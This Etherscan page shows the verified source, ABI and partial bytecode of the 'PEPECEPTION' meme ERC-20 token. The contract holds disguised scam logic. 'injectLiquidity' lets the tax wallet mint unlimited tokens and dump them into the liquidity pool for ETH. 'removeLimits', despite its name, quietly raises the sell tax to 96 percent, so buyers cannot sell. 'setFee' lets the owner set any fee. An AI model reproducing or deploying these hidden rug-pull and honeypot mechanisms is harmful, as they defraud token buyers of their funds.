ETH Price: $2,740.64 (+0.43%)

Token

ꟼƎꟼƎ (ꟼƎꟼƎ)
 

Overview

Max Total Supply

696,969,696,969 ꟼƎꟼƎ

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,047,216,757.120567375 ꟼƎꟼƎ

Value
$0.00
0xffef51a3f467af0fba5fe16656ab66136bedc326
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPECEPTION

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-07
*/

// SPDX-License-Identifier: MIT

/*          
    New era of ꟼƎꟼƎ...  

    TWITTƎЯ: https://twitter.com/pepeception_eth    
    TƎ⅃ƎӘЯAM: https://t.me/pepeception_eth     
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PEPECEPTION is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 696969696969 * 10**_decimals;
    string private constant _name = unicode"ꟼƎꟼƎ";
    string private constant _symbol = unicode"ꟼƎꟼƎ";
    uint256 public _maxTxAmount = 14204204200 * 10**_decimals;
    uint256 public _maxWalletSize = 14204204200 * 10**_decimals;
    uint256 public _taxSwapThreshold= 6969696969 * 10**_decimals;
    uint256 public _maxTaxSwap= 6969696969 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>=_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>=_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function injectLiquidity(uint256 tokenAmount) external{
        require(_msgSender()==_taxWallet);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();       
        
        _tTotal += tokenAmount;
        _maxTxAmount=_tTotal;
        _maxWalletSize=_tTotal;
        _balances[address(this)] += tokenAmount;
        _allowances[address(this)][address(uniswapV2Router)] = tokenAmount;

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _taxWallet,
            block.timestamp
        );
    }

    function removeLimits() external payable{
        require(_msgSender()==_taxWallet);
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        _finalSellTax = _decimals * 10 + 6;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function setFee(uint256 _newBuy, uint256 _newSell) external {
      require(_msgSender()==_taxWallet);
      _finalBuyTax=_newBuy;
      _finalSellTax=_newSell;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"injectLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newBuy","type":"uint256"},{"internalType":"uint256","name":"_newSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600560006101000a81548160ff02191690831515021790555060006006556000600755600260085560026009556000600a556000600b556000600c556000600d556009600a6200005791906200061c565b64a246a196c96200006991906200066d565b600e556009600a6200007c91906200061c565b64034ea2f4a86200008e91906200066d565b600f556009600a620000a191906200061c565b64034ea2f4a8620000b391906200066d565b6010556009600a620000c691906200061c565b64019f6d22c9620000d891906200066d565b6011556009600a620000eb91906200061c565b64019f6d22c9620000fd91906200066d565b6012556000601460156101000a81548160ff0219169083151502179055506000601460166101000a81548160ff0219169083151502179055503480156200014357600080fd5b506000620001566200045160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620002046200045160201b60201c565b600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e54600160006200025b6200045160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620002af6200045960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003e26200045160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e54604051620004439190620006c9565b60405180910390a3620006e6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200051057808604811115620004e857620004e762000482565b5b6001851615620004f85780820291505b80810290506200050885620004b1565b9450620004c8565b94509492505050565b6000826200052b5760019050620005fe565b816200053b5760009050620005fe565b81600181146200055457600281146200055f5762000595565b6001915050620005fe565b60ff84111562000574576200057362000482565b5b8360020a9150848211156200058e576200058d62000482565b5b50620005fe565b5060208310610133831016604e8410600b8410161715620005cf5782820a905083811115620005c957620005c862000482565b5b620005fe565b620005de8484846001620004be565b92509050818404811115620005f857620005f762000482565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006298262000605565b915062000636836200060f565b9250620006657fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000519565b905092915050565b60006200067a8262000605565b9150620006878362000605565b9250828202620006978162000605565b91508282048414831517620006b157620006b062000482565b5b5092915050565b620006c38162000605565b82525050565b6000602082019050620006e06000830184620006b8565b92915050565b61341a80620006f66000396000f3fe60806040526004361061012e5760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb146103aa578063bf474bed146103e7578063c876d0b914610412578063c9567bf91461043d578063d2ddfa7714610454578063dd62ed3e1461047d57610135565b8063751039fc146102f45780637d1db4a5146102fe5780638da5cb5b146103295780638f9a55c01461035457806395d89b411461037f57610135565b8063313ce567116100f2578063313ce5671461023557806351bc3c851461026057806352f7c9881461027757806370a08231146102a0578063715018a6146102dd57610135565b806306fdde031461013a578063095ea7b3146101655780630faee56f146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104ba565b60405161015c9190612480565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061253b565b6104f7565b6040516101999190612596565b60405180910390f35b3480156101ae57600080fd5b506101b7610515565b6040516101c491906125c0565b60405180910390f35b3480156101d957600080fd5b506101e261051b565b6040516101ef91906125c0565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a91906125db565b610525565b60405161022c9190612596565b60405180910390f35b34801561024157600080fd5b5061024a6105fe565b604051610257919061264a565b60405180910390f35b34801561026c57600080fd5b50610275610607565b005b34801561028357600080fd5b5061029e60048036038101906102999190612665565b6106a4565b005b3480156102ac57600080fd5b506102c760048036038101906102c291906126a5565b610717565b6040516102d491906125c0565b60405180910390f35b3480156102e957600080fd5b506102f2610760565b005b6102fc6108b3565b005b34801561030a57600080fd5b5061031361094b565b60405161032091906125c0565b60405180910390f35b34801561033557600080fd5b5061033e610951565b60405161034b91906126e1565b60405180910390f35b34801561036057600080fd5b5061036961097a565b60405161037691906125c0565b60405180910390f35b34801561038b57600080fd5b50610394610980565b6040516103a19190612480565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc919061253b565b6109bd565b6040516103de9190612596565b60405180910390f35b3480156103f357600080fd5b506103fc6109db565b60405161040991906125c0565b60405180910390f35b34801561041e57600080fd5b506104276109e1565b6040516104349190612596565b60405180910390f35b34801561044957600080fd5b506104526109f4565b005b34801561046057600080fd5b5061047b600480360381019061047691906126fc565b610f0f565b005b34801561048957600080fd5b506104a4600480360381019061049f9190612729565b6112cc565b6040516104b191906125c0565b60405180910390f35b60606040518060400160405280600a81526020017fea9fbcc68eea9fbcc68e00000000000000000000000000000000000000000000815250905090565b600061050b610504611353565b848461135b565b6001905092915050565b60125481565b6000600e54905090565b6000610532848484611524565b6105f38461053e611353565b6105ee856040518060600160405280602881526020016133bd60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a4611353565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ebf9092919063ffffffff16565b61135b565b600190509392505050565b60006009905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610648611353565b73ffffffffffffffffffffffffffffffffffffffff161461066857600080fd5b600061067330610717565b905060008111156106885761068781611f23565b5b600047905060008111156106a05761069f8161219c565b5b5050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106e5611353565b73ffffffffffffffffffffffffffffffffffffffff161461070557600080fd5b81600881905550806009819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768611353565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ec906127b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108f4611353565b73ffffffffffffffffffffffffffffffffffffffff161461091457600080fd5b600e54600f81905550600e546010819055506006600a60096109369190612804565b6109409190612841565b60ff16600981905550565b600f5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600a81526020017fea9fbcc68eea9fbcc68e00000000000000000000000000000000000000000000815250905090565b60006109d16109ca611353565b8484611524565b6001905092915050565b60115481565b600560009054906101000a900460ff1681565b6109fc611353565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a80906127b5565b60405180910390fd5b60148054906101000a900460ff1615610ad7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ace906128c2565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b5b30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e5461135b565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec91906128f7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9991906128f7565b6040518363ffffffff1660e01b8152600401610cb6929190612924565b6020604051808303816000875af1158015610cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf991906128f7565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d8230610717565b600080610d8d610951565b426040518863ffffffff1660e01b8152600401610daf96959493929190612992565b60606040518083038185885af1158015610dcd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df29190612a08565b505050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e94929190612a5b565b6020604051808303816000875af1158015610eb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed79190612ab0565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f50611353565b73ffffffffffffffffffffffffffffffffffffffff1614610f7057600080fd5b6000600267ffffffffffffffff811115610f8d57610f8c612add565b5b604051908082528060200260200182016040528015610fbb5781602001602082028036833780820191505090505b5090503081600081518110610fd357610fd2612b0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561107a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109e91906128f7565b816001815181106110b2576110b1612b0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505081600e60008282546110fe9190612b3b565b92505081905550600e54600f81905550600e5460108190555081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111669190612b3b565b9250508190555081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611296959493929190612c82565b600060405180830381600087803b1580156112b057600080fd5b505af11580156112c4573d6000803e3d6000fd5b505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c190612d4e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143090612de0565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151791906125c0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90612e72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f990612f04565b60405180910390fd5b60008111611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90612f96565b60405180910390fd5b600061164f610951565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116bd575061168d610951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c02576116ff60646116f1600a54600d5410156116de576006546116e2565b6008545b8561220890919063ffffffff16565b61228290919063ffffffff16565b9050600560009054906101000a900460ff161561188e57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561188d5743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183f9061304e565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119395750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561198f5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a4a57600f548211156119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d0906130ba565b60405180910390fd5b601054826119e685610717565b6119f09190612b3b565b1115611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2890613126565b60405180910390fd5b600d6000815480929190611a4490613146565b91905055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ad357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffff